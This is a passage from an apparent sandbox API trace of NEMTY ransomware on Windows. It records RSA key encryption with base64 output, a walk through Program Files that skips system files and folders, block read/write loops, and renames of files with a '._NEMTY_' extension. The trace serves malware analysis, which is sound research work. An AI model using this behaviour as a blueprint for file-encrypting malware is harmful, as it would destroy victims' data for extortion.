0x4f9ece0 [0139.634] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0139.634] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0139.634] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0139.634] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63402b0 [0139.634] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63402b0, pcchString=0x653e91c | out: pszString="Bc7/HI+Z+1kEOAriwiFxyyRTbaQMP2GmzCK8UrVJeDQj3CsKTj5fAM/OAk1SuxNj\r\n8dYr98cesNBipL8ffPnH+zYVLMk53z03X1AuYOh+Wrl6UQy0tL0p9jSot9O2ZVmH\r\niMKTc7JRGTl9QRwMtZTa2frZ+UnU8AZhLYa6Bgf1yXQqzY3xIIRXCYsGGZbkEVFT\r\nWjwETujhjsVpCrBxbOkCIAW9jInclMvho21Y3EdMcgDvpTcoV8XGUPcpxMsCIVb2\r\nYOjYn93Y3opAtMgOMJXg2nFRF6kYWOgUxVwQuS1jNz0nZmljBO6k6JV/9gFKVeq0\r\nRcf9Wb736L+jL7ZEzIZgvw==\r\n", pcchString=0x653e91c) returned 1 [0139.634] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0139.634] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63402b0 | out: hHeap=0x4f90000) returned 1 [0139.634] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0139.634] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0139.634] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63402b0 [0139.634] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0139.634] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\settings_corner_bottom_left.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\settings_corner_bottom_left.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0139.634] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0139.634] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0139.634] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0139.634] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0139.644] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0139.644] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0139.644] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0139.644] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0139.653] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0139.653] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0139.653] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0139.653] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0139.662] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0139.662] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0139.662] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0139.662] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0139.672] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0139.672] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0139.672] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0139.672] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0139.681] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0139.681] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0139.681] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0139.681] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0139.691] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0139.691] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0139.691] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0139.691] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0139.700] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0139.700] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0139.700] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0139.700] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0139.709] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0139.709] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0139.710] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0139.710] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0139.719] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0139.719] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0139.719] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0139.719] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0139.728] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0139.728] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0139.728] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0139.728] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0139.734] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0139.734] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0139.734] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0139.734] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0139.740] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0139.740] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0139.740] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0139.740] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63402b0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0139.740] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0139.741] CloseHandle (hObject=0xffffffff) returned 0 [0139.741] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6340420 [0139.741] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0139.741] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0139.741] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0139.741] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0139.741] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0139.741] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x63404f8 [0139.741] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x136) returned 0x6343fe8 [0139.741] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404f8 | out: hHeap=0x4f90000) returned 1 [0139.741] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0139.741] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\settings_corner_bottom_left.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\settings_corner_bottom_left.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\settings_corner_bottom_left.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\settings_corner_bottom_left.png._nemty_kgobjgd_")) returned 0 [0139.741] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0139.741] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340420 | out: hHeap=0x4f90000) returned 1 [0139.741] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0139.741] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63402b0 | out: hHeap=0x4f90000) returned 1 [0139.741] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0139.741] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0139.741] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0139.741] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0139.741] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0139.741] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0139.741] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84c6332b, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84c6332b, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3b7b1cb9, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xa5, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="settings_corner_bottom_right.png", cAlternateFileName="")) returned 1 [0139.741] lstrcmpiW (lpString1="settings_corner_bottom_right.png", lpString2=".") returned 1 [0139.741] lstrcmpiW (lpString1="settings_corner_bottom_right.png", lpString2="..") returned 1 [0139.741] lstrcmpiW (lpString1="settings_corner_bottom_right.png", lpString2="...") returned 1 [0139.741] lstrcmpiW (lpString1="settings_corner_bottom_right.png", lpString2="windows") returned -1 [0139.741] lstrcmpiW (lpString1="settings_corner_bottom_right.png", lpString2="$RECYCLE.BIN") returned 1 [0139.741] lstrcmpiW (lpString1="settings_corner_bottom_right.png", lpString2="rsa") returned 1 [0139.741] lstrcmpiW (lpString1="settings_corner_bottom_right.png", lpString2="NTDETECT.COM") returned 1 [0139.741] lstrcmpiW (lpString1="settings_corner_bottom_right.png", lpString2="ntldr") returned 1 [0139.742] lstrcmpiW (lpString1="settings_corner_bottom_right.png", lpString2="MSDOS.SYS") returned 1 [0139.742] lstrcmpiW (lpString1="settings_corner_bottom_right.png", lpString2="IO.SYS") returned 1 [0139.742] lstrcmpiW (lpString1="settings_corner_bottom_right.png", lpString2="boot.ini") returned 1 [0139.742] lstrcmpiW (lpString1="settings_corner_bottom_right.png", lpString2="boot.ini") returned 1 [0139.742] lstrcmpiW (lpString1="settings_corner_bottom_right.png", lpString2="AUTOEXEC.BAT") returned 1 [0139.742] lstrcmpiW (lpString1="settings_corner_bottom_right.png", lpString2="ntuser.dat") returned 1 [0139.742] lstrcmpiW (lpString1="settings_corner_bottom_right.png", lpString2="desktop.ini") returned 1 [0139.742] lstrcmpiW (lpString1="settings_corner_bottom_right.png", lpString2="CONFIG.SYS") returned 1 [0139.742] lstrcmpiW (lpString1="settings_corner_bottom_right.png", lpString2="RECYCLER") returned 1 [0139.742] lstrcmpiW (lpString1="settings_corner_bottom_right.png", lpString2="BOOTSECT.BAK") returned 1 [0139.742] lstrcmpiW (lpString1="settings_corner_bottom_right.png", lpString2="bootmgr") returned 1 [0139.742] lstrcmpiW (lpString1="settings_corner_bottom_right.png", lpString2="programdata") returned 1 [0139.742] lstrcmpiW (lpString1="settings_corner_bottom_right.png", lpString2="appdata") returned 1 [0139.742] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f94088 [0139.742] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_corner_bottom_right.png", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0139.742] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0139.742] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_corner_bottom_right.png", cchWideChar=32, lpMultiByteStr=0x6345608, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings_corner_bottom_right.png", lpUsedDefaultChar=0x0) returned 32 [0139.742] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0139.742] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0139.742] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_corner_bottom_right.png", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0139.742] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0139.742] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_corner_bottom_right.png", cchWideChar=32, lpMultiByteStr=0x6345608, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings_corner_bottom_right.png", lpUsedDefaultChar=0x0) returned 32 [0139.742] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0139.742] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0139.742] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0139.742] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f94088 [0139.742] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_corner_bottom_right.png", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0139.742] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0139.742] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_corner_bottom_right.png", cchWideChar=32, lpMultiByteStr=0x6345608, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings_corner_bottom_right.png", lpUsedDefaultChar=0x0) returned 32 [0139.742] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0139.742] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f94088 [0139.742] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_corner_bottom_right.png", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0139.742] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0139.742] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_corner_bottom_right.png", cchWideChar=32, lpMultiByteStr=0x6345640, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings_corner_bottom_right.png", lpUsedDefaultChar=0x0) returned 32 [0139.742] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0139.742] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6340048 [0139.743] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401d8 | out: hHeap=0x4f90000) returned 1 [0139.743] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6340120 [0139.743] Sleep (dwMilliseconds=0x5) [0139.768] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x6f30350, dwHighDateTime=0x1d561e8)) [0139.768] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x6f30350, dwHighDateTime=0x1d561e8)) [0139.768] GetLastError () returned 0x5 [0139.768] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0139.768] GetLastError () returned 0x5 [0139.768] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0139.768] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0139.768] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0139.768] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0139.768] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0139.768] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0139.768] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63401f8 [0139.768] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63401f8, pcchString=0x653e91c | out: pszString="TNEm7zrGbgrUibr8d7DUswLKjRfr0gia6hhqYdzqSab4irHBfKnvsHK61FtQ3G+h\r\nL/o4LbLz8/k9VEdY86SqaL1nJa5IBvgIpFpWQXtqagPw4NEpDnCs9QTZSLo2uVJs\r\nR30tfS4qdBLxw7jHpFefIO7UCsreSLoTyEw7Nqf0hksLI4+TjWZTssraQKPH0vUU\r\nhYmKISC4TY8FtxiWijqbB9Ifp+p00LgZ2LSiOk71B30G9M4E6/eS0dLn+sdebYpK\r\nsU4v0SO29y38EnuLRH5K5fPZJPkjSftsH5EV8mVuNcGFq45IT7zRPaxVE/DjJz35\r\ngLE02xz2VbNvYgt2yIYHUA==\r\n", pcchString=0x653e91c) returned 1 [0139.768] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0139.768] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401f8 | out: hHeap=0x4f90000) returned 1 [0139.768] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0139.769] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0139.769] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63401f8 [0139.769] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0139.769] CreateFileW (lpFileName="C:\\Program Files\\Windows 